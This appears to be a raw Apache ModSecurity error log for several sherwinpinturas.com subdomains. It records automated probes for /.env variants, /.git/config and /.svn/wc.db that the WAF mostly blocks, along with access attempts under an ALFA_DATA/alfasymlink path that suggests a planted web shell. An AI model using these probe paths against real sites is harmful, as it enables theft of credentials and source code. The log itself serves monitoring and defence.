[Mon Oct 26 08:05:00.371703 2026] [security2:error] [pid 3023736:tid 3023736] [client 193.32.162.76:48268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7HtuNRyqJbUWH7JvbgAAAAQ"]
[Mon Oct 26 08:05:00.490026 2026] [security2:error] [pid 3023408:tid 3023408] [client 193.32.162.76:48260] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7Gr0p85NPswPKocFhwAAACA"]
[Mon Oct 26 08:05:00.490229 2026] [security2:error] [pid 3023408:tid 3023408] [client 193.32.162.76:48260] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7Gr0p85NPswPKocFhwAAACA"]
[Mon Oct 26 08:05:00.490433 2026] [security2:error] [pid 3023408:tid 3023408] [client 193.32.162.76:48260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7Gr0p85NPswPKocFhwAAACA"]
[Mon Oct 26 08:05:00.490720 2026] [security2:error] [pid 3023408:tid 3023408] [client 193.32.162.76:48260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at9B7Gr0p85NPswPKocFhwAAACA"]
[Mon Oct 26 08:05:06.726181 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 34.230.124.21:42214] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:06.863699 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 52.70.123.241:26809] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:10.870305 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 184.73.47.24:10990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:14.722550 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 98.83.10.183:15176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:30.956098 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.4.238.8:1435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:33.380067 2026] [security2:error] [pid 3026993:tid 3026993] [client 172.86.119.188:53720] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CDXJ9l6phwCFrVaFfxAAAAAA"], referer: http://beta.sherwinpinturas.com/.git/config
[Mon Oct 26 08:05:33.380410 2026] [security2:error] [pid 3026993:tid 3026993] [client 172.86.119.188:53720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CDXJ9l6phwCFrVaFfxAAAAAA"], referer: http://beta.sherwinpinturas.com/.git/config
[Mon Oct 26 08:05:33.380718 2026] [security2:error] [pid 3026993:tid 3026993] [client 172.86.119.188:53720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CDXJ9l6phwCFrVaFfxAAAAAA"], referer: http://beta.sherwinpinturas.com/.git/config
[Mon Oct 26 08:05:38.863013 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.202.52.82:16923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:42.779195 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 23.21.228.180:57962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:05:46.695024 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 34.193.2.57:10710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/ACPI0010:00/subsystem/uevent
[Mon Oct 26 08:06:03.445032 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 52.0.41.164:42451] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:07.055592 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 100.25.120.246:57085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:10.776575 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.80.73.122:41551] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:14.914281 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 52.2.191.202:16445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:18.941513 2026] [ssl:error] [pid 3024443:tid 3024443] (70014)End of file found: [client 34.236.185.101:25638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:20.937093 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 85.208.96.209:30988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/shrink
[Mon Oct 26 08:06:26.854176 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.194.95.99:47380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:34.806419 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.156.55.147:21517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:46.853167 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 52.71.203.206:6340] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:50.925308 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 54.147.182.90:62293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:52.381933 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.209:13924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/usersize
[Mon Oct 26 08:06:55.011415 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 3.229.164.203:29705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:06:58.026238 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.195:33808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/align
[Mon Oct 26 08:06:58.880238 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 184.73.239.35:8926] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:09.303199 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 54.84.102.81:13844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:11.172781 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 34.226.89.140:54675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:15.041039 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 3.221.156.96:47154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:23.286569 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 52.205.113.104:54356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource1
[Mon Oct 26 08:07:27.517259 2026] [ssl:error] [pid 3027705:tid 3027705] (70014)End of file found: [client 18.214.124.6:57919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:07:27.665367 2026] [proxy_fcgi:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:27.667183 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdAAAAAQ"]
[Mon Oct 26 08:07:27.667368 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdAAAAAQ"]
[Mon Oct 26 08:07:27.667624 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdAAAAAQ"]
[Mon Oct 26 08:07:27.669573 2026] [proxy_fcgi:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:27.675724 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wAAAAAM"]
[Mon Oct 26 08:07:27.675978 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wAAAAAM"]
[Mon Oct 26 08:07:27.676192 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wAAAAAM"]
[Mon Oct 26 08:07:27.679612 2026] [proxy_fcgi:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:27.680083 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9Cf2VXVQByzmtTYWxgTAAAAAc"]
[Mon Oct 26 08:07:27.680291 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9Cf2VXVQByzmtTYWxgTAAAAAc"]
[Mon Oct 26 08:07:27.680313 2026] [proxy_fcgi:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:27.680520 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at9Cf2VXVQByzmtTYWxgTAAAAAc"]
[Mon Oct 26 08:07:27.749575 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdQAAAAQ"]
[Mon Oct 26 08:07:27.749814 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdQAAAAQ"]
[Mon Oct 26 08:07:27.750095 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdQAAAAQ"]
[Mon Oct 26 08:07:27.751528 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9CfwYFDPQbtsPixQxWrQAAAAI"]
[Mon Oct 26 08:07:27.751787 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9CfwYFDPQbtsPixQxWrQAAAAI"]
[Mon Oct 26 08:07:27.752029 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at9CfwYFDPQbtsPixQxWrQAAAAI"]
[Mon Oct 26 08:07:27.757670 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3J9l6phwCFrVaFfzQAAAAA"]
[Mon Oct 26 08:07:27.757892 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3J9l6phwCFrVaFfzQAAAAA"]
[Mon Oct 26 08:07:27.758132 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9Cf3J9l6phwCFrVaFfzQAAAAA"]
[Mon Oct 26 08:07:27.764552 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Cfw9c_Zz9LocrxF9eOgAAAAU"]
[Mon Oct 26 08:07:27.764683 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Cfw9c_Zz9LocrxF9eOgAAAAU"]
[Mon Oct 26 08:07:27.764978 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9Cfw9c_Zz9LocrxF9eOgAAAAU"]
[Mon Oct 26 08:07:27.767624 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Cf2r0p85NPswPKocFjQAAACA"]
